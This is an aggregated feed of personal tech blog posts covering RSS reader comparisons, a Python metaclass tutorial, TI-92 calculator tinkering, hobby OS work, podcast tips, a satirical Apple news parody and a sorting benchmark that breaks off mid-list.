Planet WUUG

When Google announced that it would be closing Google Reader on July 1, I began to see how much I depend on this web app and how none of the alternatives really address my needs. I’ve since then come to the conclusion that no hosted solution satisfies my needs for a web and mobile feed reader.

It was then that I turned to look at self-hosted solutions, namely solutions that you can put on a web server and run on your own. In exploring what was available, I discovered selfoss. I’m very pleased about this open source product, which is run by Tobias Zeising. It isn’t perfect, but I believe it is useable for my purposes.

The app is licensed under GPLv3  (if that means anything to you–basically, it means you have a great deal of freedom to do what you want with it, including modifying it). It is written in PHP and can use Postgres, MySQL, or sqlite for the database. I decided to use sqlite since that is the optional was the quickest to setup for a test run. In the future, if I run into issues, I can always switch over to a more heavy duty database.

The app is really easy to setup if you know the basics of running a web server. It has an OPML import, which was what I needed to get all my Google Reader feeds into it. I made a few minor config tweaks (added the update script to my crontab, changed it so it ‘marks read’ automatically, setup authentication, etc.).

The one key thing in starting to read through items on selfoss, is to realize that there are a few important keyboard shortcuts. “Space” takes you to the next item, and that’s very import for the way I quickly read through feeds (shift-space takes you backwards, for instance). For my purposes, the only keyboard shortcut I will need to remember is “Space”.

selfoss has a nice mobile version on the web interface that, while certainly not anywhere close to great, is fairly useable (unlike The Old Reader and others). The Twitter sharing option is pretty good (seems to work better than Google Reader twitter share). Sharing via e-mail is also quite straightforward.

At this point I only have two outstanding annoyances:

1. There isn’t any easy way to mark your entire list of items (across all feeds) as read. I like do that once in a while when I get behind. Maybe I’m missing something, but so far the only way I could do that was to go into the sqlite database.
2. On the mobile version, when you click into an item, there isn’t good navigation to the next item (nothing like ‘space’ on the traditional web version of the interface) . You can’t swipe over to the next items (which makes sense, since this is a mobile web site, not a full out mobile app), but there are also no navigation buttons to go to the next item. Very annoying!

I hope improving navigation through items remains a huge priority in future development of this product!

I suspect that only #2 will bother me long term. I hope that #2 will either be fixed in future version, or I may have to fix it myself. But that requires touching PHP. Yuck. We shall see.

In any case, it seems I am now ready for Google Reader to go goodbye!   I would almost start offering to host instances of selfoss for friends, but at this point I’m not sure I want a ton of extra traffic on my server, especially since most people have a lot of feeds. My wife can have an account if she wants, though

Well I've been working some on my sm3d (SandMines 3d) library. It allows displaying basically any widget smg (SandMines Graphics) provides as well as some basic primitives (cones, spheres, 3d boxes, cylinders). Some custom widgets are provided that allow displaying of a texture inside of a standard widget as well as an object (basically, a collection of primitives). modeledit3d provides basic functionality for creating a 3d model usable by sm3d. http://images.sandmines.org/modeledit3d.jpg shows a cylinder being placed, where the bottom radius is 0 (in effect, a cone).

read more

In my haste to whip out the previous post, I neglected to mention The Old Reader.

In fact, I previously had identified The Old Reader as a strong candidate. However, somehow it vanished from my memory (probably because I tried it out when the Google Reader exodus began to happen). It wasn’t until Traever Guingrich kindly pointed it out that it came back into my memory!

The Old Reader is impressive in many ways. It features import and export and an interface that is quite similar to Google Reader. It seems to feature strong social aspects, as well.

Right now my beefs with it are:

1. Switching between feeds can get rather slow. It can get a little annoying after a few minutes of reading.
2. Due to their emergency queue-based implementation (which, of course, is understandable due to the volume they are getting since the Google Reader announcement) my request to import my Google Reader OPML file is behind 50,000 other users!
3. Their individual feed views are nice, but their “All Items” view formatting is awkward (ie. the way they have the source to the left of the title and then the title, and the titles all unaligned)
4. Their little unread count circles could use some work, in my opinion, they shouldn’t change sizes for the one digit counts and they should be a bigger font.
5. There is no android app for it. They do have a mobile version of their website, but it is clunky, and I can’t imagine doing my feed reading on it.

If these things can be resolved eventually, I think The Old Reader could be a great option. I think, for me, #2 and #4 are quite minor. #1 and #3 are annoying, but livable. #5 is a show stopper for me.

If I did most of my RSS reading on my computer, I would use it–since I don’t believe there is a better option right now.

However, since I do most of my RSS reading on my phone, I think I will be sticking with RssDemon on my phone and wait and hope something better comes along.  I’m guessing about 80-90% of my feed reading is done on my phone anyway. Ordinarily, I don’t want to sit on my computer for prolonged periods of time to read feeds. Most of my feed reading happens in those “in between times” and I ordinarily only have my cell with me in those times. And then, sometimes, I’ll star an item and perhaps read it more carefully when I am on the computer.

I would prefer to have a service that supports both web-based reading and android reading. But, if I have to chose between the two, I’d pick android reading.

• Google Reader
  • Dying soon
• Feedly
  • A nice option in some ways.  But…
    • They have no way for you to Export your feeds!!! So, if they go belly up too, we will be in the same position as we are now, but WAY WORSE–unable to even move the data out of feedly.
    • I feel like, even with tweaking the UI a bit, it is still too fancy and no condusive to textual reading and quick skipping through postings.
• RSS Demon
  • Nice. But it’s only an Android app. I need something I can either use on my desktop or in a web browser as well.
• News Blur
  • Could be a half descent option, has an android app, and definitely allows for exporting. But…..
    • They don’t seem to have their act together. They are having frequent outages and from the owner’s twitter account, it sounds like he is overhauling major parts of their infrastructure.
• ??????????? (I’m open to hearing about other options). Basically I’m looking for:
  • Must haves:
    • Easy to add a new feed
    • Quick, simple flipping through postings on feeds. Not too fancy or tailored towards multimedia
    • A usable read/unread scheme and a way to track my progress in reading through my feeds
    • Usable on the ( desktop OR web browser ) AND Android
    • A way to get my data (ie. feed list) off there, preferably via an OPML export.
    • A way to mark items (like starring them or something like that)
  • Optional niceties:
    • A way to share via e-mail, facebook, twitter
    • A way to import from Google Reader (seriously… if everything else lines up, I’d be happy to rebuild my feed list IF I can export it afterwards)

Do I really have to “build my own”?

An evil way to exploit and abuse Python for fun and profit. I have no idea if this belongs in any real code, but if nothing else, call it an introduction to such neat Python features as metaclasses and decorators.

The idea is to create a class which allows specification of an instance-specific bound method (that is, a method that works like a normal method, with implicit self) in the constructor, from an internal set of alternatives, which are added externally using a decorator. The availability of the method should be enforced, but its implementation (and possibly signature) can vary. It should also be easily subclassed, and the set of options should follow the intuitive inheritance rules: subclasses inherit the base class’ alternatives, and can define their own new ones.

First, we will need to import MethodType, to allow dynamic creation of bound methods in instances.

1

from types import MethodType

Then, we define a metaclass that adds a class attribute called _options, which is an empty dict, to the class. The purpose of this dict (and of adding it through a metaclass, rather than directly in the class) will be seen shortly.

3
4
5
6

class EvilType(type):
    def __new__(cls, name, bases, attr):
        attr['_options'] = dict()
        return super(EvilType, cls).__new__(cls, name, bases, attr)

Now, we define the actual Evil base class. This is the root of the evil.

9
10
11
12
13
14
15

class Evil(object, metaclass=EvilType):
    def __init__(self, option):
        try:
            self.option = MethodType(self._options[option], self)
        except KeyError:
            raise KeyError('invalid option method %s' % option)
        self.integer = 0

First, notice the metaclass keyword in the class definition arguments: this tells Python to build the class through EvilType, which gives the class the _options dict. (In Python 2, this would be done instead using the __metaclass__ attribute.)

The __init__ constructor takes a positional argument, a string specifying the method alternative to use in the instance. This is the key to _options, paired with a callable taking one argument (trust me for a moment, it is). A KeyError will prevent the object being created, so every instance of Evil will have an option() method.

The integer instance member is just for demonstration purposes, and is not part of the evil.

So how does _options get populated with callables that can become bound methods? This is where the optionmethod decorator comes in.

17
18
19
20
21
22
23
24
25
26
27
28

    @classmethod
    def _add_to_options(cls, name, func):
        cls._options[name] = func
        for subcls in cls.__subclasses__():
            subcls._add_to_options(name, func)
 
    @classmethod
    def optionmethod(cls, func):
        def wrapped(self, *args, **kwargs):
            return func(self, *args, **kwargs)
        cls._add_to_options(func.__name__, wrapped)
        return wrapped

optionmethod() is a class method, so it has access to the current class’ _options dict, when called as @Evil.optionmethod, for example. The wrapper itself is thin, but before the decorator method exits, it calls _add_to_options(), which adds the wrapped callable to _options of the current class and (importantly) all of its subclasses, recursively. Note that the signature of option() could be enforced by replacing *args and **kwargs in the definition of wrapped() with an explicit signature.

We also provide a convenient public way to get a list of available alternatives for option(). This could, for example, be passed as the choices parameter to an argparse argument definition.

30
31
32

    @classmethod
    def options(cls):
        return cls._options.keys()

Now, we can define some subclasses, without doing anything special. The additional members here, again, are just for demonstration purposes and not part of the evil.

35
36
37
38

class EvilChild(Evil):
    def __init__(self, option):
        self.boolean = False
        super(EvilChild, self).__init__(option)

41
42
43
44

class EvilGrandChild(EvilChild):
    def __init__(self, option):
        self.string = 'foo'
        super(EvilChild, self).__init__(option)

And finally, we define a few method alternatives.

47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

@Evil.optionmethod
def option_one(self):
    self.integer = 1
 
@Evil.optionmethod
def option_any(self, integer):
    self.integer = integer
 
@EvilChild.optionmethod
def option_two(self):
    self.integer = 2
    self.boolean = True
 
@EvilGrandChild.optionmethod
def option_three(self):
    self.integer = 3
    self.boolean = False
    self.string = 'bar'

Now, off to a live Python interpreter!

>>> from evil import *

We can see that Evil indeed has the first two options.

>>> Evil.options()
dict_keys(['option_one', 'option_any'])

Let’s try them out.

>>> asmodeus = Evil('option_one')
>>> asmodeus.integer
0
>>> asmodeus.option()
>>> asmodeus.integer
1
>>> bile = Evil('option_any')
>>> bile.option(13)
>>> bile.integer
13

Cool! How about our subclass?

>>> EvilChild.options()
dict_keys(['option_two', 'option_one', 'option_any'])
>>> cimeries = EvilChild('option_any')
>>> cimeries.option(5)
>>> cimeries.integer, cimeries.boolean
(5, False)
>>> damian = EvilChild('option_two')
>>> damian.boolean
False
>>> damian.option()
>>> damian.integer, damian.boolean
(2, True)

And our sub-subclass?

>>> EvilGrandChild.options()
dict_keys(['option_two', 'option_one', 'option_three', 'option_any'])
>>> eblis = EvilGrandChild('option_three')
>>> eblis.string
'foo'
>>> eblis.option()
>>> eblis.integer, eblis.boolean, eblis.string
(3, False, 'bar')

Now, let’s be really evil and monkey-patch in a new option alternative.

>>> @EvilGrandChild.optionmethod
... def option_baz(self, integer, string='baz'):
...     self.integer = integer
...     self.string = string
... 
>>> EvilGrandChild.options()
dict_keys(['option_two', 'option_baz', 'option_one', 'option_three', 'option_any'])
>>> furfur = EvilGrandChild('option_baz')
>>> furfur.option(9)
>>> furfur.integer, furfur.string
(9, 'baz')

Totally evil!

Day one hacking the TI-92 II graphing calculator.

Stuffed the beast with Duracell rechargeable AAs, and obtained a USB TI Connectivity Kit to talk to it. I have installed TiLP, TiEmu, and TIGCC on my Linux machine, and the official TI Connect software on my Windows XP virtual machine.

My goals for today are simple:

1. Connect to the device successfully with both TI Connect and TiLP.
2. Dump an original memory backup as a reference point.
3. Get an assembly shell loaded onto the calculator.
4. Dump a ROM image to drive TiEmu.

Connecting is simple enough, and TiLP dumps a serviceable backup file with a minimum of hassle.

The assembly shell gives me a bit more trouble. For the TI-92 II, the only apparent choice is Fargo II. On attempting to link the kernel into my backup file, the Linux binary for flinker acts up, and after a bit of poking I decide to just use the DOS binary, since I have the VM up anyway. I restore the modified backup with TiLP, and load the .92p files provided with Fargo to the device.

After installing the shell, dumping a ROM image with TiLP goes smoothly. The image is just over 2MB, and TiEmu is able to run it.

Software development, or “programming” if you like, is plain weird to your average person.  While we live in a digital age, giving a detailed description of what I do still feels something akin to describing an elaborate Santería healing ritual to a farmer from Lima, Ohio (no offense to any farmers from Lima, Ohio who read my blog, it’s just the first illustration that came to mind).

Really, though, a great deal of the “best practices” in software development apply to building or making anything. Good programming is not some sort of voodoo, it’s really just good engineering applied to software. I think software development has some great tie-ins to general life principles that are highly transferable to other areas.

Which leads me to want to think about distilling some lessons I’ve learned so far in my career. Quite frankly, a number of books that I’ve read lately which have been totally unrelated to software development appropriate some of these same principles to some degree. I’m not sure I’ve come anywhere close to fulling applying these principles, but I do feel that spending time developing software has helped me to pay attention to them.  Here are some that come to mind:

1. Win small victories.  Find small units of whatever it is you are working on and make as many small victories as you can. A big victory may feel better, but it’s also easier to fail or lose motivation when you are tackling a big unit of work.  If you work incrementally through small units you are more likely to succeed. It is amazing how much you can get done by finishing little snippets of a task here and there! One huge advantage to this approach is that it will be much easier to “turn back the clock” and start over if the unit of work gets messed up. Another advantage is that smaller chunks of work are easier to delegate if necessary.  And it’s easier to verify the correctness of a small chunk of work.
2. Fail early. This goes hand-in-hand with the previous point. Part of the reason why we often fail miserably at things is because we delay failing until the failure gets really escalated. It might be because we are perfectionists, self-conscious, or perhaps because we believe we are not going to fail. However, the simple fact is that we will fail. So do it ASAP, so you can start learning from it.   Experience shows that people who made a failure quickly and learned from it tend to do much better than those who agonize forever to make a fully polish product, but simply make their failure more costly and time-consuming.
3. Don’t be afraid to fail. This builds on the previous point. Don’t be afraid to fail, but manage your failures. Don’t try to avoid failing, but rather try to be in control of when you fail.  As has already been said, fail early. And fail in safe environments. Isolate your failures by failing in small segments of your task.
4. Don’t sweat the details initially. Make educated guesses about what will be needed, but don’t let the specifics bog you down. Get to a working rough draft as soon as you can. People who start to refine their work before a draft has been finished tend to ether get nowhere or spend inordinate amount of time. You can’t anticipate where this will go fully, so make educated guesses about what is best and plod away to the first draft!  If you polish as you go, you may spend time on polish that is not necessary. You’ll have a much better vantage point as to what is necessary if you just plod away and leave the polish for later. Most beautiful work has been done by assembling what immediately comes to mind in a rapid fashion and then fussing about the details afterwards.
5. Don’t trust your memory. Forget the fact if you can. And if you must recall it, write it down, because you won’t remember it in a month. I make writing it down the second rate option, because having to remember or write down tons of stuff is a red flag in many cases. Life is not a fact gobbling exercise. You should be prepared to forget most of what comes to your attention. That is healthy. Any task that requires you to do a large amount of recalling tends to be either inefficient or bogged down by unnecessary details. High school anyone?  Couldn’t you just automate it somehow and focus on better stuff?
6. Laziness is a vice, but efficiency isn’t and sometimes efficiency can seem like laziness. People who repeat mundane tasks a lot sure seem like “hard workers”. However, a *good* worker would rather be “lazy” and find a good way to eliminate that repetition so he can focus on more stimulating and important things. People who plod away at something with little or no understanding of the tasks at hand may sometimes seem to be “hard workers”,  but the person who pauses and deliberately slows down to understand the task is usually a better worker.  Hard work is not an end in and of itself, it always must accomplish a purpose. And sometimes something that seems lazy actually accomplishes the purpose better than the “hard work” option.
7. Keep things simple as you can. Avoid unnecessary complexity. I say “unnecessary” because in some cases complexity is justified. For example, don’t simplify one thing if it means making 20 other things more  complex.That said, simple things are almost always better, more elegant, easier to maintain, and more efficient, than complicated things. Be more hesitant in adding something than taking something away. Your instinctive way of doing something is more often than not a bit too complicated.
8. Don’t be afraid to start over again. Sometimes the worst thing you can do is keep on plugging away at a sinking ship. Sometimes starting over again is the jolt you need to actually make some headway on the thing.  Don’t let fear keep of scrapping your work keep you working in an direction that is most likely futile. Throw it away, take a deep breath, and take a fresh look at the problem or task at hand.

These aren’t meant to be unthinking mantras, but they are helpful guides in software development and probably other areas of life. I hope they are of assistance!

With The Tea Party back together and touring again, and after seeing three live shows since last year’s reunion, I thought I’d set down some collected thoughts on the band’s catalogue and live performances. Naturally, this is all subjective, but I’ve provided links to the studio versions of the songs I mention, so you can form your own opinion if you like.

Splendor Solis

The original studio album containing many of the band’s tracks from the early days playing around Windsor (and the indie eponymous album), Splendor Solis still features strongly in live shows. Like on the album, The River is a great show opener. Save Me showcases Jeff Martin with the bow, and is a great live track besides. Sun Going Down is impossible to properly appreciate without hearing it live. The instrumental Winter Solstice often accompanies Sister Awake in an encore. In the early days I remember hearing A Certain Slant of Light a lot, but it’s been a long time.

Personally, I’d say there isn’t a single track on this album that wouldn’t sound great live. There is, however, a certain thread passing through Midsummer Day, Winter Solstice, and the last five tracks of the album that I imagine would sound really cool all strung together live. The riffs in Haze on the Hills prove it. In particular, I can’t ever remember hearing Dreams of Reason live, and it’d be my top pick.

The Edges of Twilight

The Edges of Twilight was the album that made The Tea Party’s live shows legendary. Fire in the Head is a staple, though I could live without it. On the other hand, The Bazaar is too much fun to give up. And then, of course, there’s Sister Awake, which ought to be considered one of the greatest rock songs of all time; the band has done some really cool stuff with this one live, from Led Zeppelin and Jimi Hendrix inserts to wholly new versions of the song, but it never quite lives up to the (heavily produced) album version.

Some of my other favourite tracks get played sometimes as well. I’ve heard Correspondences and Coming Home both since the reunion, and apparently the band has played Walk With Me as well (which I’d love to hear myself). Shadows on the Mountainside is beautiful; I think I heard this most recently during Jeff Martin’s tour with 777 in 2011. I find Inanna underrated, and the Alhambra version seems ideal for a live show. Finally, I remember once long ago hearing The Badger live, and really enjoying it.

Transmission

While Transmission is one of the stronger albums in The Tea Party’s catalogue, it doesn’t seem to be as suited to live performance as the others. This is probably a result of relatively heavy production and its dark tone (even by TTP standards). Nevertheless, Temptation and Psychopomp are staples in live shows, and having been to a few shows during this era, I’ve heard several others played.

My own top pick from this album would be Gyroscope, which, unfortunately, I’ve heard the band call their toughest track to play live. Another great one would be Emerald; even though the production is a big part of this track, I think a live version would have its own charm, and although I’ve never heard of the band as a whole playing it, we at least have an apparent precedent of Jeff Martin playing it solo. I think Stuart Chatwood could sink his synth teeth into either of these tracks.

Triptych

Of all The Tea Party’s albums, I’m probably happiest with the representation Triptych gets in concert. Without a doubt, The Halcyon Days is my favourite track from this album, and it’s a staple, sometimes with really cool inserts (like Dead Can Dance’s Rakim or Led Zeppelin’s Kashmir). Their big hit, Heaven Coming Down, is always present, but I’m not complaining, it’s an undeniably great song. I used to gripe about The Messenger, but lately either the guitar is getting more awesome, or else I’m appreciating it more.

This is another heavily produced album, so of the songs I really dig, I’m not sure how many (besides the aforementioned) would really translate well live. I think the one exception might be These Living Arms.

Tangents

As a compilation, there are only a few original tracks on Tangents. Of these, I can only ever remember hearing Walking Wounded live (besides Paint it Black being used as an insert with Sister Awake).

My only thought here is that Lifeline would be amazing live, done with the right instruments.

The Interzone Mantras

Despite The Interzone Mantras representing The Tea Party’s return to more of a “live” sound, it doesn’t seem to get much live play. I can only remember seeing one show between 2001 and 2004, so if the band ever played a lot of this material live, I guess I missed it. The major exception is Lullaby, which makes decent live material.

There are a couple tracks on this album I’d like to hear live, and since the production is so light, they should sound great. My top pick would be Cathartik: it showcases some incredible guitar and drums. I think The Master & Margarita has a bit of the flavour Jeff Martin was going for with 777, which made great live rock.

Seven Circles

The last studio album, Seven Circles, naturally got a lot of live play pre-breakup. Writing’s on the Wall was a hit and makes a pretty good opener, but honestly, there are so many other good tracks on this album, it’s not even worth bothering in my opinion. And if I never hear Oceans played live again, I won’t miss it.

Mainstream sound or not, I think this is a hugely underrated album. I’m just not sure how many of its tracks would make good live material. I can imagine Luxuria being great, and it carries a lot of the classic Tea Party sound. Between that and Coming Back Again, Jeff Burrows would really get to show off on percussion. Overload seems like it would be fun too. Finally, I can imagine a live version of Empty Glass being popular.

Adolphus implements a neat little interactive command interface in Python. It grew rather organically, so for all I know it’s a bizarre way of doing something available in some library. In any case, it’s pretty light and does what I need, so maybe you’ll find it useful too.

The commands module first defines an empty dictionary of commands. The keys are the command names, and the values are the associated callables.

38

commands = {}

It also defines a simple custom exception class, which currently does nothing interesting besides being identifiable.

40
41

class CommandError(Exception):
    "Command failed (usually non-fatal)."</code>

The interesting part is the @command decorator. This applies to any function taking 3 arguments, viz. a reference to the Experiment object, a list of strings comprising the command arguments, and a string specifying the output format of the command (pickle, csv, or text). The response check is a developer-level assert. Other exceptions arising from the call to the wrapped functions could be user-level errors, and the interface should be able to handle these as run-time CommandError exceptions, hence the try block. The docstring of the wrapped function is expected to provide usage details, so it is adopted by the wrapper function. Finally, the command is added under the name of the function to the commands dictionary.

44
45
46
47
48
49
50
51
52
53
54
55

def command(f):
    def wrapped(ex, args, response='pickle'):
        assert response in ['pickle', 'csv', 'text']
        try:
            return f(ex, args, response)
        except CommandError as e:
            raise e
        except Exception, e:
            raise CommandError('%s: %s' % (type(e).__name__, e))
    wrapped.__doc__ = f.__doc__
    commands[f.__name__] = wrapped
    return wrapped

Since the @command decorator lives in the module, and the ex argument is passed in, the developer can define custom commands outside of the module itself, simply by importing the decorator and (optionally) CommandError. This was the factor that drove the design.

The following is a relatively simple example of a command definition. In this case, it catches a possible exception from its main action to offer a more meaningful error description to the user.

479
480
481
482
483
484
485
486
487
488
489

@command
def setactivelaser(ex, args, response):
    """\
    Set the active laser to the specified laser.
 
    usage %s laser
    """
    try:
        ex.model.active_laser = args[0]
    except AttributeError:
        raise CommandError('not a range coverage model')

The main example of calling a command is given by Experiment.execute(). In this case, any CommandError is re-raised with an appended usage message.

351
352
353
354
355
356
357
358
359
360
361
362
363
364

        cmd, args = cmd.split()[0], cmd.split()[1:]
        if cmd not in commands.commands:
            raise commands.CommandError('invalid command')
        try:
            return commands.commands[cmd](self, args, response=response)
        except commands.CommandError as e:
            es = str(e)
            if commands.commands[cmd].__doc__:
                for line in commands.commands[cmd].__doc__.split('\n'):
                    line = line.strip(' ')
                    if line.startswith('usage'):
                        es += '\n' + line % cmd
                        break
            raise commands.CommandError(es)

It is also possible to define “meta-commands” that operate on the command system itself, as long as they have scope access (e.g. are defined within the commands module). The following example allows the definition of run-time aliases to commands which optionally force some or all of the command parameters to fixed values.

58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

@command
def alias(ex, args, response):
    """\
    Create an alias to another command, optionally forcing some or all
    arguments.
 
    usage: %s alias command [argument]*
    """
    def wrapped(wex, wargs, response):
        assert response in ['pickle', 'csv', 'text']
        try:
            return globals()[args[1]](wex, args[2:] + wargs, response)
        except CommandError as e:
            raise e
        except Exception, e:
            raise CommandError('%s: %s' % (type(e).__name__, e))
    wrapped.__doc__ = globals()[args[1]].__doc__
    commands[args[0]] = wrapped

Simple, clean, and Pythonic.

I added basic vesa graphics support.
Basic pre-emptive multitasking is working. Currently, all processes run with the same page tables (so they all use the same address space). I plan to add separate page tables shortly.
I made a syscall interface (currently the only available syscall is yield(), which gives up a processes time slice).
I've added a simple signalling mechanism where a process can block (basically sleep) until a signal in the signal list is triggered. This is used by the vga driver to do nothing until either a keyboard signal is recieved or the focus window has changed.

read more

Well I was looking for something interesting to do, so I've decided to make a simple os for x86 hardware.
It runs under bochs right now (havent yet tested it on a real pc).
It uses grub as the bootloader (didn't feel like rolling my own, and bochs is quicker anyhow :) )
It runs in protected mode, and has rudimentary keyboard input / console output.
It implements page tables, has software-based pre-emptive task switching (between 2 tasks right now, but adding more is trivial).

read more

Tim Johnson is a U.S. Democratic Party senator from South Dakota.

1. He co-sponsored PIPA in the U.S.
2. He is also the primary sponsor of the Johnson-Shelby Iran Sanctions, Accountability and Human Rights Act of 2012, which “Requires the Administration to devise a comprehensive strategy and report to Congress on how best to assist Iran’s citizens in freely and safely accessing the Internet, developing counter-censorship technologies, expanding access to ‘surrogate’ programming including VOA’s Persian News Network, and Radio FARDA inside Iran, and taking other similar measures.”

Interesting how things work out, eh?

[HT: Jason Ditz]

Hector: Alright, explain your game to me, Mr. Hare.

Hare: First, I will stand somewhere along the race track, but I won’t tell you where, and this wall hides me from view. Now, do you see this large contraption here?

Hector: Indeed. There is a -meter long net suspended from a high cable that extends along the track between two poles. Attached to the pole at this end (behind the wall) is a box with a crank, a lever, an anemometer, and a graphing calculator. I surmise that the crank moves the net along the cable, and that the lever releases it.

Hare: Very astute!

Hector: And I suppose that my goal is to trap you under the net?

Hare: Without any information to guide you? No such nonsense. In fact, the game is much more subtle than that. You will indeed crank the net to a position of your choosing — let’s name the end closest to you — and then release it. I will then reveal my position — call it — to you, and you must wager with me on whether I am under the net.

Hector: Too easy! If , then I wager that you are under the net; otherwise, that you aren’t. I can’t lose!

Hare: Ah, not so fast. You see, there are random winds along the direction of the race track in these parts, and so the net may be blown considerably off from a straight downward course.

Hector: Which, of course, I won’t be able to see, due to the wall.

Hare: Precisely.

Hector: So, we could say that the net covers not , but , where is a -mean Gaussian process with standard deviation .

Hare: If you like.

Hector: Hence the anemometer, from which I can estimate . I see. Thus, my task is reduced to the following: given , , , and , compute the probability that . From there, I can decide whether the wager has a positive expected value for me.

Hare: Well played, Hector. But there is still one outstanding consideration.

Hector: And that is?

Hare: Actually computing the probability you speak of quickly enough to make your wager! I have somewhere to be promptly after this game, and as you know, we leporids hate to be late…

And with that, the Hare races off around the wall and down the track.

I decided rather than having to log into my server to check my hardware raid status and other things, to make a simple little client / server app that serves the status of the raid array and other things. I've dedicated a whole monitor for this app (just a little 17" lcd) and plan to add support for windows-based systems as well.
The server is plugin-based, which means if you want to monitor some other sort of stuff, you make a very basic .so which will be loaded by the server on startup.
Currently the server reports ibm serveraid status, memory info, and uptime and load.

read more

I came across some 1u xeon racks which had ibm serveraid ultra320 scsi controller cards, dual xeon 3.0ghz hyperthreaded cpu's, and 2 72gb u320 scsi drives as well as 3gb of ram, so I've decided to upgrade my old server with parts from this new one (mainly because it has 8 drive bays to the 1u's 2 drive bays, plus it has redundant hot-swap power supplies). I was previously using software raid, so I'm hoping to get better performance from the new hardware raid cards. The old processors were 2.4ghz xeons, so I'm getting better performance from the new ones as well.

read more

In an inevitable move this morning, Apple announced that Rudy Giuliani would be the successor to CEO Steve Jobs.

Apple announced that Rudy had plenty of experience handling the “Big Apple”, so directing the future as CEO of the little apple should be child’s play. Rudy has stated repeatedly that he’s looking forward to “a breath of fresh air” in Northern California, and the lack of term limits.

When asked about whether this had any impact on the possibility of a “Perry-Giuliani” presidential ticket, Rudy refused to answer directly and merely muttered a mysterious phrase “Look iVicePresidential?”

Speculations are swirling as to how Rudy will show himself “tough on crime” in the Apple community, which most reliable sources agree is filled with thugs and vagabonds. When asked what he could do for Apple, Rudy stated that during his mayorial career, his record on New York’s crime rate was an example of “the most focused form of policing in history” and that he would “take the iPhone desktop device to new unimagined heights”. “Believe, me, I have a legacy beyond 9/11 and Apple recognizes that. Why else would they pick me?”

When asked critical questions at the press conference about his lack of expertise, knowledge of, or passion for the Apple product line, Giuliani responded vigorously: “My technological affiliation, my geek knowledge and the devotion to Apple products, I leave to Steve Wozniak to judge.”

When Steve Wozniak, the co-founder of Apple, was asked about Giuliani he had a vigorous belly-laugh and narrowed his eyes and said, “I have an opinion, but remember I’m still technically an employee and a shareholder.” He continued to laugh and then said “Let’s just say that Rudy will never be inducted into the National Inventors Hall of Fame like I have. And he’s more of a Blackberry type of guy.”

Rudy refused to comment on Wozniak’s belly-laugh and has neither confirmed nor denied whether he will be wearing a turtleneck.

Despite obvious differences, there are some interesting similarities between Rudolph William Louis “Rudy” Giuliani and Steven Paul “Steve” Jobs.  However, marketing analyst Coleen Card doubts whether Rudy can fill Steve’s turtleneck and present the sort of “cool” image that Apple needs.

Disassociated Press, August 26, 2011

Well it seems like a good learning experience, plus expansion of my gui, to port it to os x. Since most os x cocoa apps are created using objective-c, I've had to learn the basics of that. As well, it seems most mac apps are created using an interface builder, which, to me, seems like a rapid app dev tool. After much fumbling around, I've managed to get something together that opens a window, using a dynamic library to access the objective-c cocoa stuffs, and provided an interface in C to (right now) open a window.

read more

1. Use a good player that fully supports podcasts. The last thing you want is a player that supposedly supports podcasts but then makes you do all the leg work (thus eliminating some of the major advantages of podcasts). A podcast, by definition has a feed, and the player should support subscribing to that feed in some fashion, and have some mechanisms to automatically download the episodes for you and present them to you in some fashion. It should also provide some mechanisms to present which shows have been listed to and delete or hide them. If you are on an Android phone, I highly recommend DoggCatcher (I know, weird name, but it is great).
2. The beauty of podcasts is the way you can set your player/device to fetch them automatically and delete them when you are done. It’s hard to believe we had to go to the websites individually to manually download this stuff!
3. Having too many podcasts can be frustrating, you can never keep up. Too few can can be annoying because there will be times when you would like to listen something and simply have no episodes of anything.
4. Podcasts that advertise themselves as such, but then fail to provide an RSS feed annoy me to no end. Individual mp3 episodes (in my mind) are not a podcast! I can’t tell you how many times I encounter sites (made by people who should know better), who make it nearly impossible to find the podcast rss link.
5. Podcasts that only feature an Itunes subscribe link are annoying too! Hello, not everyone has an apple device and not everyone uses itunes…
6. “Is there any chance I’ll listen to an episode of this in the next month?” may be a good criteria to determine whether to subscribe.
7. There are basically two types of podcasts, the ones you want to listen to every single minute of, and other ones that you let run and tune in and out on (or perhaps look at the title a just skip through them).
8. A good balance between “an episode every day or week” and “an episode or two this year, perhaps” shows is good. Too many of the former and you will be overloaded and never able to keep up. Too few, and you’ll find yourself wanting to listen to something and not have anything.
9. A good variety between emphasis on episodes among your podcast list is good (ie. both long and short, interviews and lectures, serious and funny, etc.)
10.  Are you a podcaster and you want to improve your podcast? General tips that should work out to your advantages in most cases:
1. Publish more than once a month but less than twice a week, and then make your shows longer if you need to.
2. Try to make your shows an hour or less if you can.
3. On your website, make the RSS feed clearly visible!
4. Avoid annoying ranting, if you are just one person, at least interview someone once in a while!
5. Balance continuity and discontinuity between shows.  No thread or too much of a thread between shows can become a problem.
6. Each episode, while ideally sharing common themes and continuing various memes, should to some degree intelligible without listening to the previous show or all the shows up to date.
7. If you make jokes and your show isn’t explicitly about humor, more likely than not your jokes will sound corny.
8. Consider and evaluate the tone you use and the way you handle guests or people you talk about! An overly polemic or negative tone actually gets quite annoying when you listen to it over and over again.
9. Try to get the best audio quality you can!
10. Think carefully about the theme music, don’t make it too long.
11. Episode show notes can be a real asset if they are done well.
12. Constantly talking about money (unless of course you are NPR Planet Money ) gets old very quickly (and saying how you “hate doing this” or “we never do this” doesn’t make it more excusable). Hearing small one-man podcasts repeatedly talk about money gets really irritating. If you’re a big organization that actually has an infrastructure and a following outside of your podcast, this is more excusable, though depending on context it can still be annoying.  I think I must have dropped at least 4-5 podcasts because the constant jabbering about money or complaining about the lack of it just got so annoying and eliminated or reduced the usefuless of the podcast.  If you talk about money do it minimally, giving listeners the information they need in order to donate (without repeating it too often).  While one might pay for audio content, it is highly unlikely anyone wants to pay for audio content of you asking people to pay you for audio content. If you do ask for money, I suggest taking one of the following approaches:
1. Put it on your website, but leave it out of the podcast.
2. Make it a predictable, scripted, tasteful presentation of about 15-20 seconds a consistent place in the beginning or end of your show (if I get the sense that any time, I could get an extemperaneous speech lasting between 1 minute and 20, I will drop your show ASAP).
3. Devote one show to talking about money and then drop the topic and do not bring it up in any other show until at least a year or two has passed.

1. I made a function to generate one million random integers between 0 and two million.

2. I wrote another function to do a bit map sort on this list of integers (slightly cheating by having my bit map sort function receive a parameter which represented the maximum value it might encounter–two million). The bit map sort was roughly based on one in a Jon Bentley book Programming Pearls.

3. (By the way, I implemented these two functions in both Python and Ruby).

4. I then ran the following benchmarks:
A. Ruby (1.92): My bit map sort on the random integers
B. Ruby (1.92): Ruby’s built-in sort on the random integers
